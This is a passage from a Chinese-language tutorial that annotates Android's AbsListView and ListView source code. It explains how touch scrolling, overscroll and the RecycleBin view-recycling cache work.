deltaY;\n\tint lastYCorrection = 0;\n\n\tif (mTouchMode == TOUCH_MODE_SCROLL) {\n\t\tif (PROFILE_SCROLLING) {\n\t\t\tif (!mScrollProfilingStarted) {\n\t\t\t\tDebug.startMethodTracing(\"AbsListViewScroll\");\n\t\t\t\tmScrollProfilingStarted = true;\n\t\t\t}\n\t\t}\n\n\t\tif (mScrollStrictSpan == null) {\n\t\t\t// If it's non-null, we're already in a scroll.\n\t\t\tmScrollStrictSpan = StrictMode.enterCriticalSpan(\"AbsListView-scroll\");\n\t\t}\n\n\t\tif (y != mLastY) {\n\t\t\t// 移动了\n\t\t\t// We may be here after stopping a fling and continuing to scroll.\n\t\t\t// If so, we haven't disallowed intercepting touch events yet.\n\t\t\t// Make sure that we do so in case we're in a parent that can intercept.\n\t\t\tif ((mGroupFlags & FLAG_DISALLOW_INTERCEPT) == 0 &&\n\t\t\t\t\tMath.abs(rawDeltaY) > mTouchSlop) {\n\t\t\t\tfinal ViewParent parent = getParent();\n\t\t\t\tif (parent != null) {\n\t\t\t\t\tparent.requestDisallowInterceptTouchEvent(true);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfinal int motionIndex;\n\t\t\tif (mMotionPosition >= 0) {\n\t\t\t\tmotionIndex = mMotionPosition - mFirstPosition;\n\t\t\t} else {\n\t\t\t\t// If we don't have a motion position that we can reliably track,\n\t\t\t\t// pick something in the middle to make a best guess at things below.\n\t\t\t\tmotionIndex = getChildCount() / 2;\n\t\t\t}\n\n\t\t\tint motionViewPrevTop = 0;\n\t\t\tView motionView = this.getChildAt(motionIndex);\n\t\t\tif (motionView != null) {\n\t\t\t\tmotionViewPrevTop = motionView.getTop();\n\t\t\t}\n\n\t\t\t// No need to do all this work if we're not going to move anyway\n\t\t\tboolean atEdge = false;\n\t\t\tif (incrementalDeltaY != 0) {\n\t\t\t    // 移动的过程中不断调用\n\t\t\t\tatEdge = trackMotionScroll(deltaY, incrementalDeltaY);\n\t\t\t}\n\n\t\t\t// Check to see if we have bumped into the scroll limit\n\t\t\tmotionView = this.getChildAt(motionIndex);\n\t\t\tif (motionView != null) {\n\t\t\t\t// Check if the top of the motion view is where it is\n\t\t\t\t// supposed to be\n\t\t\t\tfinal int motionViewRealTop = motionView.getTop();\n\t\t\t\tif (atEdge) {\n\t\t\t\t\t// Apply overscroll\n\n\t\t\t\t\tint overscroll = -incrementalDeltaY -\n\t\t\t\t\t\t\t(motionViewRealTop - motionViewPrevTop);\n\t\t\t\t\tif (dispatchNestedScroll(0, overscroll - incrementalDeltaY, 0, overscroll,\n\t\t\t\t\t\t\tmScrollOffset)) {\n\t\t\t\t\t\tlastYCorrection -= mScrollOffset[1];\n\t\t\t\t\t\tif (vtev != null) {\n\t\t\t\t\t\t\tvtev.offsetLocation(0, mScrollOffset[1]);\n\t\t\t\t\t\t\tmNestedYOffset += mScrollOffset[1];\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfinal boolean atOverscrollEdge = overScrollBy(0, overscroll,\n\t\t\t\t\t\t\t\t0, mScrollY, 0, 0, 0, mOverscrollDistance, true);\n\n\t\t\t\t\t\tif (atOverscrollEdge && mVelocityTracker != null) {\n\t\t\t\t\t\t\t// Don't allow overfling if we're at the edge\n\t\t\t\t\t\t\tmVelocityTracker.clear();\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfinal int overscrollMode = getOverScrollMode();\n\t\t\t\t\t\tif (overscrollMode == OVER_SCROLL_ALWAYS ||\n\t\t\t\t\t\t\t\t(overscrollMode == OVER_SCROLL_IF_CONTENT_SCROLLS &&\n\t\t\t\t\t\t\t\t\t\t!contentFits())) {\n\t\t\t\t\t\t\tif (!atOverscrollEdge) {\n\t\t\t\t\t\t\t\tmDirection = 0; // Reset when entering overscroll.\n\t\t\t\t\t\t\t\tmTouchMode = TOUCH_MODE_OVERSCROLL;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (incrementalDeltaY > 0) {\n\t\t\t\t\t\t\t\tmEdgeGlowTop.onPull((float) -overscroll / getHeight(),\n\t\t\t\t\t\t\t\t\t\t(float) x / getWidth());\n\t\t\t\t\t\t\t\tif (!mEdgeGlowBottom.isFinished()) {\n\t\t\t\t\t\t\t\t\tmEdgeGlowBottom.onRelease();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tinvalidate(0, 0, getWidth(),\n\t\t\t\t\t\t\t\t\t\tmEdgeGlowTop.getMaxHeight() + getPaddingTop());\n\t\t\t\t\t\t\t} else if (incrementalDeltaY < 0) {\n\t\t\t\t\t\t\t\tmEdgeGlowBottom.onPull((float) overscroll / getHeight(),\n\t\t\t\t\t\t\t\t\t\t1.f - (float) x / getWidth());\n\t\t\t\t\t\t\t\tif (!mEdgeGlowTop.isFinished()) {\n\t\t\t\t\t\t\t\t\tmEdgeGlowTop.onRelease();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tinvalidate(0, getHeight() - getPaddingBottom() -\n\t\t\t\t\t\t\t\t\t\tmEdgeGlowBottom.getMaxHeight(), getWidth(),\n\t\t\t\t\t\t\t\t\t\tgetHeight());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tmMotionY = y + lastYCorrection + scrollOffsetCorrection;\n\t\t\t}\n\t\t\tmLastY = y + lastYCorrection + scrollOffsetCorrection;\n\t\t}\n\t} else if (mTouchMode == TOUCH_MODE_OVERSCROLL) {\n\t    // 灰起了.\n\t\tif (y != mLastY) {\n\t\t\tfinal int oldScroll = mScrollY;\n\t\t\tfinal int newScroll = oldScroll - incrementalDeltaY;\n\t\t\tint newDirection = y > mLastY ? 1 : -1;\n\n\t\t\tif (mDirection == 0) {\n\t\t\t\tmDirection = newDirection;\n\t\t\t}\n\n\t\t\tint overScrollDistance = -incrementalDeltaY;\n\t\t\tif ((newScroll < 0 && oldScroll >= 0) || (newScroll > 0 && oldScroll <= 0)) {\n\t\t\t\toverScrollDistance = -oldScroll;\n\t\t\t\tincrementalDeltaY += overScrollDistance;\n\t\t\t} else {\n\t\t\t\tincrementalDeltaY = 0;\n\t\t\t}\n\n\t\t\tif (overScrollDistance != 0) {\n\t\t\t\toverScrollBy(0, overScrollDistance, 0, mScrollY, 0, 0,\n\t\t\t\t\t\t0, mOverscrollDistance, true);\n\t\t\t\tfinal int overscrollMode = getOverScrollMode();\n\t\t\t\tif (overscrollMode == OVER_SCROLL_ALWAYS ||\n\t\t\t\t\t\t(overscrollMode == OVER_SCROLL_IF_CONTENT_SCROLLS &&\n\t\t\t\t\t\t\t\t!contentFits())) {\n\t\t\t\t\tif (rawDeltaY > 0) {\n\t\t\t\t\t\tmEdgeGlowTop.onPull((float) overScrollDistance / getHeight(),\n\t\t\t\t\t\t\t\t(float) x / getWidth());\n\t\t\t\t\t\tif (!mEdgeGlowBottom.isFinished()) {\n\t\t\t\t\t\t\tmEdgeGlowBottom.onRelease();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinvalidate(0, 0, getWidth(),\n\t\t\t\t\t\t\t\tmEdgeGlowTop.getMaxHeight() + getPaddingTop());\n\t\t\t\t\t} else if (rawDeltaY < 0) {\n\t\t\t\t\t\tmEdgeGlowBottom.onPull((float) overScrollDistance / getHeight(),\n\t\t\t\t\t\t\t\t1.f - (float) x / getWidth());\n\t\t\t\t\t\tif (!mEdgeGlowTop.isFinished()) {\n\t\t\t\t\t\t\tmEdgeGlowTop.onRelease();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tinvalidate(0, getHeight() - getPaddingBottom() -\n\t\t\t\t\t\t\t\tmEdgeGlowBottom.getMaxHeight(), getWidth(),\n\t\t\t\t\t\t\t\tgetHeight());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (incrementalDeltaY != 0) {\n\t\t\t\t// Coming back to 'real' list scrolling\n\t\t\t\tif (mScrollY != 0) {\n\t\t\t\t\tmScrollY = 0;\n\t\t\t\t\tinvalidateParentIfNeeded();\n\t\t\t\t}\n\t\t\t\t// 继续处理着\n\t\t\t\ttrackMotionScroll(incrementalDeltaY, incrementalDeltaY);\n\n\t\t\t\tmTouchMode = TOUCH_MODE_SCROLL;\n\n\t\t\t\t// We did not scroll the full amount. Treat this essentially like the\n\t\t\t\t// start of a new touch scroll\n\t\t\t\tfinal int motionPosition = findClosestMotionRow(y);\n\n\t\t\t\tmMotionCorrection = 0;\n\t\t\t\tView motionView = getChildAt(motionPosition - mFirstPosition);\n\t\t\t\tmMotionViewOriginalTop = motionView != null ? motionView.getTop() : 0;\n\t\t\t\tmMotionY =  y + scrollOffsetCorrection;\n\t\t\t\tmMotionPosition = motionPosition;\n\t\t\t}\n\t\t\tmLastY = y + lastYCorrection + scrollOffsetCorrection;\n\t\t\tmDirection = newDirection;\n\t\t}\n\t}\n}\n```\n\n这部分代码逻辑牵扯太多，有点晕呼呼的，记着看一下`trackMotionScroll()`方法:      \n```java\n/**\n * Track a motion scroll\n *\n * @param deltaY Amount to offset mMotionView. This is the accumulated delta since the motion\n *        began. Positive numbers mean the user's finger is moving down the screen.\n * @param incrementalDeltaY Change in deltaY from the previous event. 通过它的正负来判断是向上还是向下。\n * @return true if we're already at the beginning/end of the list and have nothing to do.\n */\nboolean trackMotionScroll(int deltaY, int incrementalDeltaY) {\n\tfinal int childCount = getChildCount();\n\tif (childCount == 0) {\n\t\treturn true;\n\t}\n\n\tfinal int firstTop = getChildAt(0).getTop();\n\tfinal int lastBottom = getChildAt(childCount - 1).getBottom();\n\n\tfinal Rect listPadding = mListPadding;\n\n\t// \"effective padding\" In this case is the amount of padding that affects\n\t// how much space should not be filled by items. If we don't clip to padding\n\t// there is no effective padding.\n\tint effectivePaddingTop = 0;\n\tint effectivePaddingBottom = 0;\n\tif ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n\t\teffectivePaddingTop = listPadding.top;\n\t\teffectivePaddingBottom = listPadding.bottom;\n\t}\n\n\t // FIXME account for grid vertical spacing too?\n\tfinal int spaceAbove = effectivePaddingTop - firstTop;\n\tfinal int end = getHeight() - effectivePaddingBottom;\n\tfinal int spaceBelow = lastBottom - end;\n\n\tfinal int height = getHeight() - mPaddingBottom - mPaddingTop;\n\tif (deltaY < 0) {\n\t\tdeltaY = Math.max(-(height - 1), deltaY);\n\t} else {\n\t\tdeltaY = Math.min(height - 1, deltaY);\n\t}\n\n\tif (incrementalDeltaY < 0) {\n\t\tincrementalDeltaY = Math.max(-(height - 1), incrementalDeltaY);\n\t} else {\n\t\tincrementalDeltaY = Math.min(height - 1, incrementalDeltaY);\n\t}\n\n\tfinal int firstPosition = mFirstPosition;\n\n\t// Update our guesses for where the first and last views are\n\tif (firstPosition == 0) {\n\t\tmFirstPositionDistanceGuess = firstTop - listPadding.top;\n\t} else {\n\t\tmFirstPositionDistanceGuess += incrementalDeltaY;\n\t}\n\tif (firstPosition + childCount == mItemCount) {\n\t\tmLastPositionDistanceGuess = lastBottom + listPadding.bottom;\n\t} else {\n\t\tmLastPositionDistanceGuess += incrementalDeltaY;\n\t}\n\n\tfinal boolean cannotScrollDown = (firstPosition == 0 &&\n\t\t\tfirstTop >= listPadding.top && incrementalDeltaY >= 0);\n\tfinal boolean cannotScrollUp = (firstPosition + childCount == mItemCount &&\n\t\t\tlastBottom <= getHeight() - listPadding.bottom && incrementalDeltaY <= 0);\n\n\tif (cannotScrollDown || cannotScrollUp) {\n\t\treturn incrementalDeltaY != 0;\n\t}\n\t// 判断向上还是向下\n\tfinal boolean down = incrementalDeltaY < 0;\n\n\tfinal boolean inTouchMode = isInTouchMode();\n\tif (inTouchMode) {\n\t\thideSelector();\n\t}\n\n\tfinal int headerViewsCount = getHeaderViewsCount();\n\tfinal int footerViewsStart = mItemCount - getFooterViewsCount();\n\n\tint start = 0;\n\tint count = 0;\n\n\tif (down) {\n\t\tint top = -incrementalDeltaY;\n\t\tif ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n\t\t\ttop += listPadding.top;\n\t\t}\n\t\tfor (int i = 0; i < childCount; i++) {\n\t\t\tfinal View child = getChildAt(i);\n\t\t\tif (child.getBottom() >= top) {\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t    // 如果这个View的底部位置已经小于top值了，说明这个view已经移除屏幕了，不可见了\n\t\t\t\tcount++;\n\t\t\t\tint position = firstPosition + i;\n\t\t\t\tif (position >= headerViewsCount && position < footerViewsStart) {\n\t\t\t\t\t// The view will be rebound to new data, clear any\n\t\t\t\t\t// system-managed transient state.\n\t\t\t\t\tchild.clearAccessibilityFocus();\n\t\t\t\t\t// 只要该view移除屏幕就把该view添加到废弃的缓存中\n\t\t\t\t\tmRecycler.addScrapView(child, position);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tint bottom = getHeight() - incrementalDeltaY;\n\t\tif ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n\t\t\tbottom -= listPadding.bottom;\n\t\t}\n\t\tfor (int i = childCount - 1; i >= 0; i--) {\n\t\t\tfinal View child = getChildAt(i);\n\t\t\tif (child.getTop() <= bottom) {\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tstart = i;\n\t\t\t\tcount++;\n\t\t\t\tint position = firstPosition + i;\n\t\t\t\tif (position >= headerViewsCount && position < footerViewsStart) {\n\t\t\t\t\t// The view will be rebound to new data, clear any\n\t\t\t\t\t// system-managed transient state.\n\t\t\t\t\tchild.clearAccessibilityFocus();\n\t\t\t\t\tmRecycler.addScrapView(child, position);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tmMotionViewNewTop = mMotionViewOriginalTop + deltaY;\n\n\tmBlockLayoutRequests = true;\n\n\t// count记录了当前已经移除屏幕的view个数\n\tif (count > 0) {\n\t    // 把已经移除的View从ViewGroup总detach掉\n\t\tdetachViewsFromParent(start, count);\n\t\tmRecycler.removeSkippedScrap();\n\t}\n\n\t// invalidate before moving the children to avoid unnecessary invalidate\n\t// calls to bubble up from the children all the way to the top\n\tif (!awakenScrollBars()) {\n\t   invalidate();\n\t}\n\n\t// 这个方法让所有的子view都按照这个参数的距离大小进行改变，这样就实现了移动也就是滑动的功能。\n\toffsetChildrenTopAndBottom(incrementalDeltaY);\n\n\tif (down) {\n\t\tmFirstPosition += count;\n\t}\n\n\tfinal int absIncrementalDeltaY = Math.abs(incrementalDeltaY);\n\tif (spaceAbove < absIncrementalDeltaY || spaceBelow < absIncrementalDeltaY) {\n\t    // 第一个View的顶部移入了屏幕或者最后一个View的底部移入了屏幕\n\t\tfillGap(down);\n\t}\n\n\tif (!inTouchMode && mSelectedPosition != INVALID_POSITION) {\n\t\tfinal int childIndex = mSelectedPosition - mFirstPosition;\n\t\tif (childIndex >= 0 && childIndex < getChildCount()) {\n\t\t\tpositionSelector(mSelectedPosition, getChildAt(childIndex));\n\t\t}\n\t} else if (mSelectorPosition != INVALID_POSITION) {\n\t\tfinal int childIndex = mSelectorPosition - mFirstPosition;\n\t\tif (childIndex >= 0 && childIndex < getChildCount()) {\n\t\t\tpositionSelector(INVALID_POSITION, getChildAt(childIndex));\n\t\t}\n\t} else {\n\t\tmSelectorRect.setEmpty();\n\t}\n\n\tmBlockLayoutRequests = false;\n\n\tinvokeOnItemScrollListener();\n\n\treturn false;\n}\n```\n\n继续看一下`offsetChildrenTopAndBottom()`方法的，在`AbsListView`中没有重写该方法，具体要看其父类`ViewGroup`中的实现:       `\n```java\n/**\n * Offset the vertical location of all children of this view by the specified number of pixels.\n *\n * @param offset the number of pixels to offset\n *\n * @hide\n */\npublic void offsetChildrenTopAndBottom(int offset) {\n\tfinal int count = mChildrenCount;\n\tfinal View[] children = mChildren;\n\tboolean invalidate = false;\n\n\tfor (int i = 0; i < count; i++) {\n\t    // 把所有的view都移动指定的距离\n\t\tfinal View v = children[i];\n\t\tv.mTop += offset;\n\t\tv.mBottom += offset;\n\t\tif (v.mRenderNode != null) {\n\t\t\tinvalidate = true;\n\t\t\tv.mRenderNode.offsetTopAndBottom(offset);\n\t\t}\n\t}\n\n\tif (invalidate) {\n\t\tinvalidateViewProperty(false, false);\n\t}\n\tnotifySubtreeAccessibilityStateChangedIfNeeded();\n}\n```\n\n再看一下`fillGap()`方法的实现:     \n```java\n/**\n * Fills the gap left open by a touch-scroll. During a touch scroll, children that\n * remain on screen are shifted and the other ones are discarded. The role of this\n * method is to fill the gap thus created by performing a partial layout in the\n * empty space.\n *\n * @param down true if the scroll is going down, false if it is going up\n */\nabstract void fillGap(boolean down);\n```\n发现在`AbsListView`中该方法是抽象的，所以我们要再`ListView`中找一下他的具体实现类:       \n```java\n    /**\n     * {@inheritDoc}\n     */\n    @Override\n    void fillGap(boolean down) {\n        final int count = getChildCount();\n        if (down) {\n            int paddingTop = 0;\n            if ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n                paddingTop = getListPaddingTop();\n            }\n            final int startOffset = count > 0 ? getChildAt(count - 1).getBottom() + mDividerHeight :\n                    paddingTop;\n            fillDown(mFirstPosition + count, startOffset);\n            correctTooHigh(getChildCount());\n        } else {\n            int paddingBottom = 0;\n            if ((mGroupFlags & CLIP_TO_PADDING_MASK) == CLIP_TO_PADDING_MASK) {\n                paddingBottom = getListPaddingBottom();\n            }\n            final int startOffset = count > 0 ? getChildAt(0).getTop() - mDividerHeight :\n                    getHeight() - paddingBottom;\n            fillUp(mFirstPosition - 1, startOffset);\n            correctTooLow(getChildCount());\n        }\n    }\n```\n可以看到他会分别根据向下滑动还是向上滑动去调用`fillDown`和`fillUp`两个方法，这两个方法之前我们都分析过了，就不再继续看了。\n\n到这里基本就把滑动部分的处理都看完了。\n还剩最后一个问题就是`RecycleBin`的实现,他是`AbsListView`中的一个内部类。\n                 \n直接上代码了，他的注释也说的非常清楚，我就把不好理解的地方简单说一下:    \n```java\n/**\n * The RecycleBin facilitates reuse of views across layouts. The RecycleBin has two levels of\n * storage: ActiveViews and ScrapViews. ActiveViews are those views which were onscreen at the\n * start of a layout. By construction, they are displaying current information. At the end of\n * layout, all views in ActiveViews are demoted to ScrapViews. ScrapViews are old views that\n * could potentially be used by the adapter to avoid allocating views unnecessarily.\n *\n * @see android.widget.AbsListView#setRecyclerListener(android.widget.AbsListView.RecyclerListener)\n * @see android.widget.AbsListView.RecyclerListener\n */\nclass RecycleBin {\n\tprivate RecyclerListener mRecyclerListener;\n\n\t/**\n\t * The position of the first view stored in mActiveViews.\n\t */\n\tprivate int mFirstActivePosition;\n\n\t/**\n\t * Views that were on screen at the start of layout. This array is populated at the start of\n\t * layout, and at the end of layout all view in mActiveViews are moved to mScrapViews.\n\t * Views in mActiveViews represent a contiguous range of Views, with position of the first\n\t * view store in mFirstActivePosition.\n\t */\n\tprivate View[] mActiveViews = new View[0];\n\n\t/**\n\t * 为什么是个数组呢？因为ListView会有多种不同的ViewType啊。\n\t * Unsorted views that can be used by the adapter as a convert view.\n\t */\n\tprivate ArrayList<View>[] mScrapViews;\n\n\tprivate int mViewTypeCount;\n\t// mScrapViews数组中的第一个元素，方便在ViewType是1的时候使用\n\tprivate ArrayList<View> mCurrentScrap;\n\n\tprivate ArrayList<View> mSkippedScrap;\n\n\tprivate SparseArray<View> mTransientStateViews;\n\tprivate LongSparseArray<View> mTransientStateViewsById;\n\n\tpublic void setViewTypeCount(int viewTypeCount) {\n\t\tif (viewTypeCount < 1) {\n\t\t\tthrow new IllegalArgumentException(\"Can't have a viewTypeCount < 1\");\n\t\t}\n\t\t// 根据ViewType的数量来创建，因为ViewType可以有多中类型，每种不同类型的View肯定要分开单独进行缓存和复用的。\n\t\t//noinspection unchecked\n\t\tArrayList<View>[] scrapViews = new ArrayList[viewTypeCount];\n\t\tfor (int i = 0; i < viewTypeCount; i++) {\n\t\t\tscrapViews[i] = new ArrayList<View>();\n\t\t}\n\t\tmViewTypeCount = viewTypeCount;\n\t\tmCurrentScrap = scrapViews[0];\n\t\tmScrapViews = scrapViews;\n\t}\n\n\t// 方法名说明了一切\n\tpublic void markChildrenDirty() {\n\t\tif (mViewTypeCount == 1) {\n\t\t\tfinal ArrayList<View> scrap = mCurrentScrap;\n\t\t\tfinal int scrapCount = scrap.size();\n\t\t\tfor (int i = 0; i < scrapCount; i++) {\n\t\t\t\tscrap.get(i).forceLayout();\n\t\t\t}\n\t\t} else {\n\t\t\tfinal int typeCount = mViewTypeCount;\n\t\t\tfor (int i = 0; i < typeCount; i++) {\n\t\t\t\tfinal ArrayList<View> scrap = mScrapViews[i];\n\t\t\t\tfinal int scrapCount = scrap.size();\n\t\t\t\tfor (int j = 0; j < scrapCount; j++) {\n\t\t\t\t\tscrap.get(j).forceLayout();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (mTransientStateViews != null) {\n\t\t\tfinal int count = mTransientStateViews.size();\n\t\t\tfor (int i = 0; i < count; i++) {\n\t\t\t\tmTransientStateViews.valueAt(i).forceLayout();\n\t\t\t}\n\t\t}\n\t\tif (mTransientStateViewsById != null) {\n\t\t\tfinal int count = mTransientStateViewsById.size();\n\t\t\tfor (int i = 0; i < count; i++) {\n\t\t\t\tmTransientStateViewsById.valueAt(i).forceLayout();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic boolean shouldRecycleViewType(int viewType) {\n\t\treturn viewType >= 0;\n\t}\n\n\t/**\n\t * Clears the scrap heap.\n\t */\n\tvoid clear() {\n\t\tif (mViewTypeCount == 1) {\n\t\t\tfinal ArrayList<View> scrap = mCurrentScrap;\n\t\t\tclearScrap(scrap);\n\t\t} else {\n\t\t\tfinal int typeCount = mViewTypeCount;\n\t\t\tfor (int i = 0; i < typeCount; i++) {\n\t\t\t\tfinal ArrayList<View> scrap = mScrapViews[i];\n\t\t\t\tclearScrap(scrap);\n\t\t\t}\n\t\t}\n\n\t\tclearTransientStateViews();\n\t}\n\n\t/**\n\t * Fill ActiveViews with all of the children of the AbsListView.\n\t * 将View存储到mActiveViews数组中\n\t * @param childCount The minimum number of views mActiveViews should hold\n\t * @param firstActivePosition The position of the first view that will be stored in\n\t *        mActiveViews\n\t */\n\tvoid fillActiveViews(int childCount, int firstActivePosition) {\n\t\tif (mActiveViews.length < childCount) {\n\t\t\tmActiveViews = new View[childCount];\n\t\t}\n\t\tmFirstActivePosition = firstActivePosition;\n\n\t\t//noinspection MismatchedReadAndWriteOfArray\n\t\tfinal View[] activeViews = mActiveViews;\n\t\tfor (int i = 0; i < childCount; i++) {\n\t\t\tView child = getChildAt(i);\n\t\t\tAbsListView.LayoutParams lp = (AbsListView.LayoutParams) child.getLayoutParams();\n\t\t\t// Don't put header or footer views into the scrap heap\n\t\t\tif (lp != null && lp.viewType != ITEM_VIEW_TYPE_HEADER_OR_FOOTER) {\n\t\t\t\t// Note:  We do place AdapterView.ITEM_VIEW_TYPE_IGNORE in active views.\n\t\t\t\t//        However, we will NOT place them into scrap views.\n\t\t\t\tactiveViews[i] = child;\n\t\t\t\t// Remember the position so that setupChild() doesn't reset state.\n\t\t\t\tlp.scrappedFromPosition = firstActivePosition + i;\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Get the view corresponding to the specified position. The view will be removed from\n\t * mActiveViews if it is found.注释说了获取完之后就会从mActiveViews中移除，这是很好理解的\n\t * 因为获取了就是说这个View已经显示到当前的ListView中了，肯定不能再复用他了。\n\t *\n\t * @param position The position to look up in mActiveViews\n\t * @return The view if it is found, null otherwise\n\t */\n\tView getActiveView(int position) {\n\t\tint index = position - mFirstActivePosition;\n\t\tfinal View[] activeViews = mActiveViews;\n\t\tif (index >=0 && index < activeViews.length) {\n\t\t\tfinal View match = activeViews[index];\n\t\t\tactiveViews[index] = null;\n\t\t\treturn match;\n\t\t}\n\t\treturn null;\n\t}\n\n\tView getTransientStateView(int position) {\n\t\tif (mAdapter != null && mAdapterHasStableIds && mTransientStateViewsById != null) {\n\t\t\tlong id = mAdapter.getItemId(position);\n\t\t\tView result = mTransientStateViewsById.get(id);\n\t\t\tmTransientStateViewsById.remove(id);\n\t\t\treturn result;\n\t\t}\n\t\tif (mTransientStateViews != null) {\n\t\t\tfinal int index = mTransientStateViews.indexOfKey(position);\n\t\t\tif (index >= 0) {\n\t\t\t\tView result = mTransientStateViews.valueAt(index);\n\t\t\t\tmTransientStateViews.removeAt(index);\n\t\t\t\treturn result;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * Dumps and fully detaches any currently saved views with transient\n\t * state.\n\t */\n\tvoid clearTransientStateViews() {\n\t\tfinal SparseArray<View> viewsByPos = mTransientStateViews;\n\t\tif (viewsByPos != null) {\n\t\t\tfinal int N = viewsByPos.size();\n\t\t\tfor (int i = 0; i < N; i++) {\n\t\t\t\tremoveDetachedView(viewsByPos.valueAt(i), false);\n\t\t\t}\n\t\t\tviewsByPos.clear();\n\t\t}\n\n\t\tfinal LongSparseArray<View> viewsById = mTransientStateViewsById;\n\t\tif (viewsById != null) {\n\t\t\tfinal int N = viewsById.size();\n\t\t\tfor (int i = 0; i < N; i++) {\n\t\t\t\tremoveDetachedView(viewsById.valueAt(i), false);\n\t\t\t}\n\t\t\tviewsById.clear();\n\t\t}\n\t}\n\n\t/**\n\t * 从废弃View的缓存中获取，只要移动出屏幕之后就都会被加到废弃View的缓存中 \n\t * @return A view from the ScrapViews collection. These are unordered.\n\t */\n\tView getScrapView(int position) {\n\t\tif (mViewTypeCount == 1) {\n\t\t\treturn retrieveFromScrap(mCurrentScrap, position);\n\t\t} else {\n\t\t\tfinal int whichScrap = mAdapter.getItemViewType(position);\n\t\t\tif (whichScrap >= 0 && whichScrap < mScrapViews.length) {\n\t\t\t\treturn retrieveFromScrap(mScrapViews[whichScrap], position);\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * Puts a view into the list of scrap views.\n\t * <p>\n\t * If the list data hasn't changed or the adapter has stable IDs, views\n\t * with transient state will be preserved for later retrieval.\n\t *\n\t * @param scrap The view to add\n\t * @param position The view's position within its parent\n\t */\n\tvoid addScrapView(View scrap, int position) {\n\t\tfinal AbsListView.LayoutParams lp = (AbsListView.LayoutParams) scrap.getLayoutParams();\n\t\tif (lp == null) {\n\t\t\treturn;\n\t\t}\n\n\t\tlp.scrappedFromPosition = position;\n\n\t\t// Remove but don't scrap header or footer views, or views that\n\t\t// should otherwise not be recycled.\n\t\tfinal int viewType = lp.viewType;\n\t\tif (!shouldRecycleViewType(viewType)) {\n\t\t\treturn;\n\t\t}\n\n\t\tscrap.dispatchStartTemporaryDetach();\n\n\t\t// The the accessibility state of the view may change while temporary\n\t\t// detached and we do not allow detached views to fire accessibility\n\t\t// events. So we are announcing that the subtree changed giving a chance\n\t\t// to clients holding on to a view in this subtree to refresh it.\n\t\tnotifyViewAccessibilityStateChangedIfNeeded(\n\t\t\t\tAccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);\n\t\t\n\t\t// 对一些瞬态View的处理\n\t\t// Don't scrap views that have transient state.\n\t\tfinal boolean scrapHasTransientState = scrap.hasTransientState();\n\t\tif (scrapHasTransientState) {\n\t\t\tif (mAdapter != null && mAdapterHasStableIds) {\n\t\t\t\t// If the adapter has stable IDs, we can reuse the view for\n\t\t\t\t// the same data.\n\t\t\t\tif (mTransientStateViewsById == null) {\n\t\t\t\t\tmTransientStateViewsById = new LongSparseArray<View>();\n\t\t\t\t}\n\t\t\t\tmTransientStateViewsById.put(lp.itemId, scrap);\n\t\t\t} else if (!mDataChanged) {\n\t\t\t\t// If the data hasn't changed, we can reuse the views at\n\t\t\t\t// their old positions.\n\t\t\t\tif (mTransientStateViews == null) {\n\t\t\t\t\tmTransientStateViews = new SparseArray<View>();\n\t\t\t\t}\n\t\t\t\tmTransientStateViews.put(position, scrap);\n\t\t\t} else {\n\t\t\t\t// Otherwise, we'll have to remove the view and start over.\n\t\t\t\tif (mSkippedScrap == null) {\n\t\t\t\t\tmSkippedScrap = new ArrayList<View>();\n\t\t\t\t}\n\t\t\t\tmSkippedScrap.add(scrap);\n\t\t\t}\n\t\t} else {\n\t\t\tif (mViewTypeCount == 1) {\n\t\t\t\tmCurrentScrap.add(scrap);\n\t\t\t} else {\n\t\t\t\tmScrapViews[viewType].add(scrap);\n\t\t\t}\n\n\t\t\tif (mRecyclerListener != null) {\n\t\t\t\tmRecyclerListener.onMovedToScrapHeap(scrap);\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * Finish the removal of any views that skipped the scrap heap.\n\t */\n\tvoid removeSkippedScrap() {\n\t\tif (mSkippedScrap == null) {\n\t\t\treturn;\n\t\t}\n\t\tfinal int count = mSkippedScrap.size();\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tremoveDetachedView(mSkippedScrap.get(i), false);\n\t\t}\n\t\tmSkippedScrap.clear();\n\t}\n\n\t/**\n\t * Move all views remaining in mActiveViews to mScrapViews.\n\t */\n\tvoid scrapActiveViews() {\n\t\tfinal View[] activeViews = mActiveViews;\n\t\tfinal boolean hasListener = mRecyclerListener != null;\n\t\tfinal boolean multipleScraps = mViewTypeCount > 1;\n\n\t\tArrayList<View> scrapViews = mCurrentScrap;\n\t\tfinal int count = activeViews.length;\n\t\tfor (int i = count - 1; i >= 0; i--) {\n\t\t\tfinal View victim = activeViews[i];\n\t\t\tif (victim != null) {\n\t\t\t\tfinal AbsListView.LayoutParams lp\n\t\t\t\t\t\t= (AbsListView.LayoutParams) victim.getLayoutParams();\n\t\t\t\tfinal int whichScrap = lp.viewType;\n\n\t\t\t\tactiveViews[i] = 